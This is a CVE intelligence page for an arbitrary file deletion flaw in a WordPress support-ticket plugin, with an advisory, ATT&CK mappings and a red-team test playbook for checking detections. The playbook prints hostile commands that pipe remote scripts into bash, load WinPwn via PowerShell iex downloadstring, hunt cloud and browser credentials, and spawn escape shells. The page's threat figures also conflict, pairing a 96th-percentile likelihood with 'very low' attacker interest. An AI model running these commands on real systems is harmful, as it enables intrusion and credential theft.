CVE-2024-10626

HIGH Pub 09/11 Upd 08/04

Overview

This vulnerability is an arbitrary file deletion flaw caused by insufficient validation of file paths in the delete_uploaded_file() function within the WooCommerce Support Ticket System plugin. The root cause is a directory traversal weakness that allows manipulation of file path inputs. The affected component is the file deletion mechanism handling user-uploaded files in all plugin versions up to and including 17.7.

Vulnerability Description

The WooCommerce Support Ticket System plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete_uploaded_file() function in all versions up to, and including, 17.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

Impact

An attacker with authenticated access at Subscriber level or above can delete arbitrary files on the server, potentially disrupting website functionality or enabling remote code execution by removing critical files such as wp-config.php. This requires no user interaction beyond authentication and network access to the WordPress environment. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) reflects network attack with low complexity, requiring privileges but no user interaction, resulting in high confidentiality, integrity, and availability impact.

Solution

Users should upgrade the WooCommerce Support Ticket System plugin to a version later than 17.7 where this vulnerability is addressed. Detailed patch instructions and updates are available from the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/eeb2c829-579f-41e2-ad5f-8e4fc125d980. No official workaround is documented; applying the vendor-provided update is the recommended remediation step.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in the WooCommerce Support Ticket System plugin for WordPress stems from inadequate validation of file paths within the delete_uploaded_file() function. This oversight allows authenticated users with Subscriber-level access or higher to delete arbitrary files from the server. The lack of stringent checks on the file paths means that an attacker can manipulate requests to target sensitive files, potentially leading to severe consequences, including remote code execution. The issue is particularly critical as it affects all versions up to and including 17.7, leaving a significant window of exposure for users who have not updated their installations.

Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could leverage their access to the plugin's functionality to craft a malicious request that targets a specific file on the server. For instance, by manipulating the parameters sent to the delete_uploaded_file() function, an attacker could aim to delete essential files like wp-config.php, which contains sensitive configuration settings and database credentials. Once this file is removed, the attacker could gain complete control over the WordPress installation, leading to further exploitation, data breaches, or the installation of malicious code.

The real-world impact of this vulnerability can be profound, particularly for businesses that rely on WordPress for their online presence. The ability to delete critical files not only jeopardizes the integrity and availability of the website but also poses significant risks to sensitive data. If an attacker successfully executes a deletion of configuration files, they could potentially access the database, extract customer information, or even deploy malware. The business risk extends beyond immediate financial loss; it can also damage reputation, erode customer trust, and attract regulatory scrutiny, especially if personal data is compromised.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular updates and patches for the WooCommerce Support Ticket System plugin must be prioritized to ensure that any known vulnerabilities are addressed promptly. Additionally, employing a web application firewall (WAF) can help filter out malicious requests aimed at exploiting this flaw. Monitoring server logs for unusual file deletion activities can also serve as an early warning system, allowing administrators to respond swiftly to potential breaches. Furthermore, restricting user permissions to only what is necessary can minimize the attack surface, reducing the likelihood of exploitation by lower-privileged users.

In conclusion, the vulnerability in the WooCommerce Support Ticket System plugin highlights the critical need for robust security practices in web applications. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves against such threats. Implementing effective detection and mitigation strategies will not only safeguard sensitive data but also enhance the overall security posture of the WordPress environment. Regular security assessments and adherence to best practices are essential in maintaining a resilient defense against evolving cyber threats.



The CVSS score for CVE-2024-10626 has been revised upward from 8.1 to 8.8, reflecting a reassessment of the vulnerability’s impact and exploitability. This adjustment underscores a heightened recognition of the risk posed by the arbitrary file deletion flaw in the WooCommerce Support Ticket System plugin, particularly given the low privilege level required for exploitation and the potential for remote code execution via deletion of critical files like wp-config.php. CSURFACE threat intelligence indicates that while the EPSS score remains stable, the vulnerability now ranks in the 96th percentile for exploit likelihood, signaling sustained interest and potential targeting by threat actors. Although no new exploit techniques or active campaigns have been detected by our telemetry, the increased severity score should prompt defenders to reassess their exposure and prioritize monitoring around this plugin. The elevated CVSS score also suggests that the vulnerability’s impact on confidentiality, integrity, and availability is more severe than previously assessed, thereby raising the overall threat level and reinforcing the criticality of timely patching and detection efforts.

Affected Products (1)

Vendor Product Version CPE
vanquish Vanquish Woocommerce Support Ticket System All cpe:2.3:a:vanquish:woocommerce_support_ticket_system:*:*:*:*:*:wordpress:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Path Traversal
100% path_traversal
Remote Code Execution
48% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-126 Path Traversal
45%
High Very High
CAPEC-64 Using Slashes and URL Encoding Combined to Bypass Validation Logic
42%
High High
CAPEC-79 Using Slashes in Alternate Encoding
42%
High High
CAPEC-78 Using Escaped Slashes in Alternate Encoding
40%
High High
CAPEC-76 Manipulating Web Input to File System Calls
37%
High Very High

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell) 
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD) 
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell) 
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell) 
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell) 
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash) 
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell) 
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash) 
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell) 
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell) 
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell) 
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell) 
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell) 
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell) 
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell) 
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell) 
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell) 
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell) 
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell) 
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell) 
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell) 
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell) 
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell) 
cat /etc/shells
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell) 
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD) 
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash) 
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-10626
wordfence.com
GitHub CVE
https://www.wordfence.com/threat-intel/vulnerabilities/id/eeb2c829-579f-41e2-ad5f-8e4fc125d980?source=cve
codecanyon.net
GitHub CVE
https://codecanyon.net/item/woocommerce-support-ticket-system/17930050